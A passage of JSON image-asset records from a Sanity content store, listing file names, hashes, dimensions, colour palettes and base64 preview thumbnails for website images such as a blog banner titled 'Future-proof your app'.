":null}},"originalFilename":"Future-proof_your_app_blog.png","path":"images/sczeoy4w/production/5a5c32f1a39ade4ceb13bb9114f0edb42790fed0-3133x1688.png","sha1hash":"5a5c32f1a39ade4ceb13bb9114f0edb42790fed0","size":180333,"title":"Future-proof your app: Why your cloud platform needs an API","uploadId":"tVBCGcQHznHJ8kHHnkdpjHsVAKTSL3Qx","url":"https://cdn.sanity.io/images/sczeoy4w/production/5a5c32f1a39ade4ceb13bb9114f0edb42790fed0-3133x1688.png"} {"_createdAt":"2022-06-30T20:09:25Z","_id":"image-e6fab982bc1674af0c1df7dd85188bc4befecaae-716x434-png","_rev":"QRl2cGoCgj0FlAhkRriCSP","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:26:50Z","assetId":"e6fab982bc1674af0c1df7dd85188bc4befecaae","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V6S?ANX9%M%MNG?GWBo#flj[S~%2-;ofWA.TV]xZt3Ri","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6497695852534562,"height":434,"width":716},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAA7DAAAOwwHHb6hkAAABUklEQVQokXVSi27cMAzL/3/pBVe0sS3raSqr7SvaDhshMEwCOhGl477vXBhI86FqIlKv63mej8fjPM+3t2etRUTMLCIy8/7CAcAXIiDqzMKdmYhKKeUqpTSq1ImZWcTcAeyPZeYREX3BzMxN3cw1wkdEhE/awmeNCIwxax3xMrdWe79EmnBVacM13RAOX2WaIlABM7YwTYxDVYmIWpX6oe3S8m7lfVBDq+gEaiBC71P0zQTuKXJjHK21WisThTBMITLm2VNM1snplu4ZkbF4xOTEcS303iMCyDEQq6nNmN0hvzP6hWPn2ojYQj1Z0TXZsmuKQx0+Ev8zu/sKjCp710EyaPrRZOomQ2ysdP/GNM85m7FIF1VzNVMLsxA1Ve9iansP5tj2nuzbab7vG8B+9Brpvrip6loNUdX99ie/zP/sJyKYudZaStlxZub+282f6/kHZru9i8hahFsAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#811721","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#70141c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b1c2ec","foreground":"#000","population":0.28,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b1bbce","foreground":"#000","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b1c2ec","foreground":"#000","population":0.28,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5870a8","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e25f6b","foreground":"#fff","population":0.1,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"e6fab982bc1674af0c1df7dd85188bc4befecaae-716x434.png","path":"images/sczeoy4w/production/e6fab982bc1674af0c1df7dd85188bc4befecaae-716x434.png","sha1hash":"e6fab982bc1674af0c1df7dd85188bc4befecaae","size":66263,"uploadId":"JDf3pZWTCQLA6vtOS2ZxHu9yz6PK0dQn","url":"https://cdn.sanity.io/images/sczeoy4w/production/e6fab982bc1674af0c1df7dd85188bc4befecaae-716x434.png"} {"_createdAt":"2022-06-30T11:51:35Z","_id":"image-720c26f2ca4b2f537a13714289f268704f3a411a-400x242-png","_rev":"CK1sLU2mnwa3vmbYWEbmL0","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:19:28Z","assetId":"720c26f2ca4b2f537a13714289f268704f3a411a","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V3QTGt00000000$$_2_1~V^*%2?H%1?H?H~q-p-p?Hx[","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6528925619834711,"height":242,"width":400},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB7ElEQVQokYWQvWsUURTF579IkSpVqnSpFARBEQtRGxsLC8HKUgslKEFDjNgostmdRCMWImQTSYwRjZYWRhF2Nkh2FyGO7iY7OzPv49777pu1kTfDxjTBw23e5fzeOVzv1afNlc9fNr7VgtaPMPzdbrd3O7tRt5smyWHTi6JOu/MrDL1rL1avv1ydef1h/etW0AzD9l7UjZI4kUIqqbRSWh4Y5UZKKdI0SRLv3KNnZx8uXH2+vLxZ/76zFyUSADWA1hoACJEACWlfSITo3sYY79SD+RP3/SsL1fe17SiRiGSYQWuZpjoVKCQpXViNMUQEAIhoiKy13vGZuWP3KpefVj9uNTWgZTbMSkkRxxCnJCRr4ELGkFLY65GUltnBR6f9I9OVS0+qG/WGyn2GjQIlRKqFJA0GkZltDmMcq5872Isy5izLvPEpf3zKvzhffVfbFlK5hswadJqfRAoBAMYYmwuV0lFESmXWOnjsrj92x78wt/Q2aEitXT1rAaCAhRCIaHNrlmWuOZHNY/v9vjc6WRmdrJz3l9aDhgIoEohI58K8c0E62HU3RayDR26VR26Xz5Srb4KmGoRYa93dBlh/ILcfxDp4eGJ2eGL2dGlxrd4C5n3fYTr4lzd0ozR0s3Ty8eJa0ELm/p//4v/0F9eleFxK2KmkAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3b7484","foreground":"#fff","population":0.07,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#145a6c","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#659baa","foreground":"#fff","population":0.72,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c2caba","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f76f70","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#659baa","foreground":"#fff","population":0.72,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4490bc","foreground":"#fff","population":0.03,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"720c26f2ca4b2f537a13714289f268704f3a411a-400x242.png","path":"images/sczeoy4w/production/720c26f2ca4b2f537a13714289f268704f3a411a-400x242.png","sha1hash":"720c26f2ca4b2f537a13714289f268704f3a411a","size":14106,"uploadId":"6Njea7XWbBQqu7LVP6ZC2obA5x4ZQZqq","url":"https://cdn.sanity.io/images/sczeoy4w/production/720c26f2ca4b2f537a13714289f268704f3a411a-400x242.png"} {"_createdAt":"2022-12-14T17:11:49Z","_id":"image-8a44c3e2466eae93981ff3a3fdd00cb1e41061d3-1667x1790-png","_rev":"K0rtrsNuqDEgCtVQGmnmpe","_type":"sanity.imageAsset","_updatedAt":"2022-12-14T17:11:49Z","assetId":"8a44c3e2466eae93981ff3a3fdd00cb1e41061d3","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eKJhzJKb01rx2vt7;grsF{OX0O+gkpbu|=Eka$=cw[Sd#8xG%1f5jJ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.9312849162011173,"height":1790,"width":1667},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c344a","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5a1113","foreground":"#fff","population":0.47,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f96608","foreground":"#fff","population":0.61,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b6bfce","foreground":"#000","population":0.2,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f2bf76","foreground":"#000","population":0.06,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#aa9d4f","foreground":"#000","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f96608","foreground":"#fff","population":0.61,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"SaSi_page_image_climate.png","path":"images/sczeoy4w/production/8a44c3e2466eae93981ff3a3fdd00cb1e41061d3-1667x1790.png","sha1hash":"8a44c3e2466eae93981ff3a3fdd00cb1e41061d3","size":1029627,"uploadId":"mzyCLQXEMeIC8zBOXrXUxqdmMlEJcWDB","url":"https://cdn.sanity.io/images/sczeoy4w/production/8a44c3e2466eae93981ff3a3fdd00cb1e41061d3-1667x1790.png"} {"_createdAt":"2022-06-30T20:00:37Z","_id":"image-357a0bc0a8ecb1a83799317c414963b39abbcf47-1195x843-png","_rev":"cEPH2uRN58AU2lp9QO86cj","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:25:45Z","assetId":"357a0bc0a8ecb1a83799317c414963b39abbcf47","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V5SidI.8^R~WwI.7H?RPm-oI%2RPDixunO_3MxRPsotQ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4175563463819691,"height":843,"width":1195},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB7UlEQVQ4jW2TyZabMBBF+f9/yjL7LHqdPsFtuzHYaKzSALycKiyn3c7iHSRAt14N6uijx/V0xDRNmGcDFyJSLqjLgmVdsG6ratu2J63r+lApBTlnlFrRxUMPfziArldYF9BfDPrzhM9pwMmfMPCAmCPqUl8gKSUFiZiT7rtyPkO0WguihNPk0B8v+Pg84vf8jj++x0wGxIwkh0tBKVUPxxj1vcCISNfdYh3WSNhqxbIsYM4ILsA5CxstfAogJkQ5QARmRs57ipzSHiSXx7PLnFBLxXqvTa0VTKTRNaWUwZFAIYD8XeKMSCGlFNRSsNS9JJ0cKrmoO3khkZ1zKoEaY3AdR5hxghsnmMuo+9vthhACkjgmRk0ZWwNKXRowpawQay2893rwMlxwGyfMMgnTFWaeHwFZnIaAQrwDpQ7S7payOBSQRA8hYp5nhUoAgcg3BWkzeAd6AdIdyKx12/4DbCkLVPb0pTENxpK28/+AApNUG1BK0FIWoLMW1uzrB6gpRLCxSLNFiXfg9xsgQHHUXAXnEb1/dtYUCWwdkrGoUsNtewXKGEjKUi+FSI2kk2m/EU+ShhIjh6jAtZRXoHRbXIoDgbd7+l06f7XqWmY0nAek98MrUAebWd01WGuGSK8b0QMq/8o4Db/eYH/8xF9DcT68F3zgBgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#32502a","foreground":"#fff","population":0.08,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1a5e99","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#32502a","foreground":"#fff","population":0.08,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d2d0b2","foreground":"#000","population":0.03,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#84fc7c","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#817678","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ec2c5d","foreground":"#fff","population":0.07,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"357a0bc0a8ecb1a83799317c414963b39abbcf47-1195x843.png","path":"images/sczeoy4w/production/357a0bc0a8ecb1a83799317c414963b39abbcf47-1195x843.png","sha1hash":"357a0bc0a8ecb1a83799317c414963b39abbcf47","size":139181,"uploadId":"GANUU1K0s4Mh63tyZVruSzQdIlAPTf73","url":"https://cdn.sanity.io/images/sczeoy4w/production/357a0bc0a8ecb1a83799317c414963b39abbcf47-1195x843.png"} {"_createdAt":"2022-06-30T11:56:59Z","_id":"image-61029a2ce086c9cb6bc3f6078cb67a14cb68e99c-400x255-png","_rev":"cEPH2uRN58AU2lp9QO7Tnl","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:13:33Z","assetId":"61029a2ce086c9cb6bc3f6078cb67a14cb68e99c","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VKJlW}of00kW4:5Pfk?Gaexa00ay~Vay%2S1ayofkCof","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5686274509803921,"height":255,"width":400},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAAAsTAAALEwEAmpwYAAADGElEQVQ4jW2SW08TQRiG90eQaOIhURM1UYxwoRdyIQnWKEE8G+OdRv+BB7SiBC2gqShsu922QGmBWstJPJ8i3BgFEcFSD4QIIWBERNo9t9N5zQxK1Hjx5JvZ73veye6OUCwGSbEYpMViEH9UFIuN2OMK4ZDcgsPeMK/7pSbsXuj/H6GwppEU1jTSwppGsFpUG8QucZ79UguOBtpwItiBY4E2HPFHsMfdtNBns4Xz3gKCrTpAbNUBaqsOoEgM0ePBTpS0P4K98wkudD1Dxf1uVD3oQcX9HpTffY7zt5/yXkn7Y5wIdaJIbAJzfyPkOxtIvrOBbnXW44AcoVJ3L/rHJxGfmkZs8iuGJqYw8HkCA2MTeDfxhT9jPTYj9/ThoBwBc/OdDRwh70o9ybtaT7dcqcNBb5S2vYkjaZhIkwzMVBqaYeBHIoG5ZBK6acJKp0EyGT7TMfAeh3xRMDfvaj1H2FTpJ5sr6+imSj/2em7RaP8w5jQDumlB0Q2ohglF0zmaYUIzLVipNBK6CXb4PvkWmLu5so4j5Dh8JNfhpxsv+1DkjtDIaxaow2CybsC0UjzgN2yfSs8HRvvj2CVFkHPZh1yHHzkOH4T15V6SfclL15V7sUO8ScN9MR5omiZUTePVsqy/IITwV468jmOn6yaYm33Ji/XlXghrymSytkymqy/KKKgJ06beGGYTCpLfv2Nm+hvm5hJIJJV5FAWKqiGdSvHAlr5hbKsNg7lry2SsKZMhrCz1kFUXPHRFqYSt11to6FUMs99mkBwdxezYOJKJJA9RVBUq+xSmCZrJQDEtNPcNI/9GmK4o9YBlrCz1UGGZXSLL7RJdes6NLc5mWvdiCNPTM1DGxpGYnIKqalB1A4qu8x9kWCl+A2Y1Aw0v3yHvWjOWnpPoMrsEhrC4xE0Wn3XTRSVuZDsC9GRHN9rffMCDwY+4+/Yj7gyOoGvwE7rYemgE92KjeBj/jI7BEZzq7MGGigB3WQZDyDrtIllnXDTrjAtL7B6aWxVEgRjFdncbbK5W2MToP7Riu6sVBbVR5FaFuMPcXxn0J1mEAXAglFsyAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#407d84","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#127792","foreground":"#fff","population":6.96,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#1e7b98","foreground":"#fff","population":9.55,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acccc4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f19c91","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5798a6","foreground":"#fff","population":3.38,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1e7b98","foreground":"#fff","population":9.55,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"61029a2ce086c9cb6bc3f6078cb67a14cb68e99c-400x255.png","path":"images/sczeoy4w/production/61029a2ce086c9cb6bc3f6078cb67a14cb68e99c-400x255.png","sha1hash":"61029a2ce086c9cb6bc3f6078cb67a14cb68e99c","size":16995,"uploadId":"FswyIkPBcXMWpBFxj5OJc0cSiikgCGsG","url":"https://cdn.sanity.io/images/sczeoy4w/production/61029a2ce086c9cb6bc3f6078cb67a14cb68e99c-400x255.png"} {"_createdAt":"2022-06-30T20:11:00Z","_id":"image-b5a699bd425d8f2e2acb76081d5fffcd5c5bc205-960x540-png","_rev":"QRl2cGoCgj0FlAhkRriSaf","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:30:48Z","assetId":"b5a699bd425d8f2e2acb76081d5fffcd5c5bc205","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M9R{uvx]$l-;%1%2oIkCM{s..mnhXPW?Nb","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":540,"width":960},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAACGUlEQVQokV2Sy5KbMBBF+f8/y2IWyaTisWMDNhhj0Au9QOCZkxLZpLK4qi5JffpRt3i9XswxIoVkGAaUUnjnCMETg9tjay3WaqyVWO+QLiH8hosb3ke886SUyKxiSQkhJU3b8uh7pmnCuQyYdpjWmq570HUdUgmMMQxCIdTEZB3DOHLf39QOLbyZuJcV5eGD6+8z96bZk//qTlOXlKcD1e8Dt+rC7Xalqirquqapa6rTicvhY2dkVrEojfl1Qrz9YPz5QZfhlwvn85lrXfKsfiGO33bluC4vfByPnE4n2nPJ8H5gfPu+MxZlKFYfmKuW8H4k1i1WatruQXVtGIUg6iex/cncfmfRd7QStM2N/tHhpCJUDf79yFI3vOJMkZaEe0pMecePCusizagpe8Fz8qgwI7Ug6BtbHEmzw+ueaAXBBWQ7ossrcejZ8g7XdWWSBtkOOG0xLtCOmuug6LVltIFhskzTkzkI0uJJXrFGQ5gsor6jypIwPNjWRPHaNqLzOKGZfcCFyCg1on9ihEBZw9NInlJirP1rjy2xbSuL85imxVxrohx4rStF9s7iA0EalhDxcUZKjekeuGFATpJOj3S5iPEsaeXz64vPz0/SMqPViBh6vJ3IzRXbtrHEmWg9yzwT53n3V7ZAdA4XHJN3WB/2YmlddwPvjaQF7Q3S6j1vN3Y+8h7/VR7r/7tc+H+teey07Mp/ctd/AHW8QhdD72+rAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#513f65","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#206086","foreground":"#fff","population":0.11,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f46f0a","foreground":"#fff","population":0.21,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#96a9c1","foreground":"#000","population":0.08,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#92bee5","foreground":"#000","population":0.17,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#549a84","foreground":"#fff","population":0.19,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f46f0a","foreground":"#fff","population":0.21,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"b5a699bd425d8f2e2acb76081d5fffcd5c5bc205-960x540.png","path":"images/sczeoy4w/production/b5a699bd425d8f2e2acb76081d5fffcd5c5bc205-960x540.png","sha1hash":"b5a699bd425d8f2e2acb76081d5fffcd5c5bc205","size":110701,"uploadId":"q4U0VVWQr9Nz79grV6Pr6Pb2YIcCUuey","url":"https://cdn.sanity.io/images/sczeoy4w/production/b5a699bd425d8f2e2acb76081d5fffcd5c5bc205-960x540.png"} {"_createdAt":"2022-06-30T11:56:58Z","_id":"image-168aa1abaf4658b78dd799b2a5c847b87a208674-400x240-png","_rev":"QRl2cGoCgj0FlAhkRrhirN","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:18:52Z","assetId":"168aa1abaf4658b78dd799b2a5c847b87a208674","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M3PjP%00000000+u%}.l#ls:Hrtlyrh}t7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6666666666666667,"height":240,"width":400},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAACaElEQVQokXWRy2tTQRTG739RRMSNdCWiogguBStqRdGND3ChCxd240IwrRR8IKi1rySNTbVNTU1KS6ko0oWttqARQbAa0zzaNDc1zU3va+7MZGbu3HsTZRJd+vEtDmdmzhx+n3RlbPpadPbq+MztmbkP35JyQZYLBXldeCOd2Vx4X4rHS9FoeXJSWVzcKshqZUvdUpuWLgzHzofj50Ivb069/biyqmqarmmGbpiGATQNFItGOm2kUiCbBcUNoOvQsoRNgCxLau8bPd77/GjPs46JV5+yedA4QwhRQhlllBAEIQSA4GoVY4RQFSGsKGgtj0sl6djjkbZH4SMPh6+/mE1k13FViBLicMdzhShjlFLHcTjnhFKKcTWXA0tLcHlZOjMwfro/0t47diP25suaTG2bc+65br1e/12v12o127YZY67rep7HHYdTSvN5lEjgZFI62Rc58STS1jPaMfH6c65AGeOcu//kcIcSSgjhtmg6jsNtmwPANjeZqkqHH4QP3Q8fvPf08sj0wo+MbhjA/CtgggYeCCFEEGGEG0YYQiw6UNp3N7T/TuhAd+DSUHzua7JcLivCSkVRKkpFU5vkTWCYpiEiELUJAAAmsKTd3YE93cG9XQMXA7F33zOabpi6+FwwF9OhuCpWgJZlWY0CmQBpGjaB1No12No5uMvXfzYQn/+5akGEIKoizCgVqChDCEELipSgeC92/lWCqRReL0g7ff4dPv/2W/5Twan5lTxhrMFb4PE8ERbn3G6IMUYIYYQwRSHpNJWL0rbOYIsv2OIbag/NLGRk23Vr/1Fzlue6HmMexh4hfwAo21wpjscfkAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#365c7e","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0a7489","foreground":"#fff","population":0.13,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#5b99a8","foreground":"#fff","population":2.94,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cab2b2","foreground":"#000","population":1.42,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e58e91","foreground":"#000","population":0.3,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5b99a8","foreground":"#fff","population":2.94,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d44c38","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"168aa1abaf4658b78dd799b2a5c847b87a208674-400x240.png","path":"images/sczeoy4w/production/168aa1abaf4658b78dd799b2a5c847b87a208674-400x240.png","sha1hash":"168aa1abaf4658b78dd799b2a5c847b87a208674","size":25331,"uploadId":"08D4UdJi9l2fY4KYbpLVo0YZOmZwNavq","url":"https://cdn.sanity.io/images/sczeoy4w/production/168aa1abaf4658b78dd799b2a5c847b87a208674-400x240.png"} {"_createdAt":"2022-12-12T13:06:54Z","_id":"image-a6db2ce04e634c9ed72c77e271b5b95bdc102c62-1200x630-jpg","_rev":"cwf6PSmkIH3MXtFHzMAiMZ","_type":"sanity.imageAsset","_updatedAt":"2022-12-12T13:06:54Z","assetId":"a6db2ce04e634c9ed72c77e271b5b95bdc102c62","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MIPjAR.TMx#,yXNaRPf+tRt7yEVXM{%gMc","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAUBBAf/xAAkEAACAgIBAwQDAAAAAAAAAAABAwIEAAUhETFBBhIiI2GBkf/EABYBAQEBAAAAAAAAAAAAAAAAAAABAv/EABgRAQADAQAAAAAAAAAAAAAAAAEAAiES/9oADAMBAAIRAxEAPwDeH0tjKwyS7ftXI9QOvbK222F3U6wiZi2yR8JeP3jlIAszPP8AclilueYthGYEexHXNWFMiqFjrSKvT9Zj9Wtuz+y1MkyJ8fjDEm3sOr7OwtLZwWJcRB4HAwwSOuT/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#45484b","foreground":"#fff","population":0.59,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#800317","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#45484b","foreground":"#fff","population":0.59,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":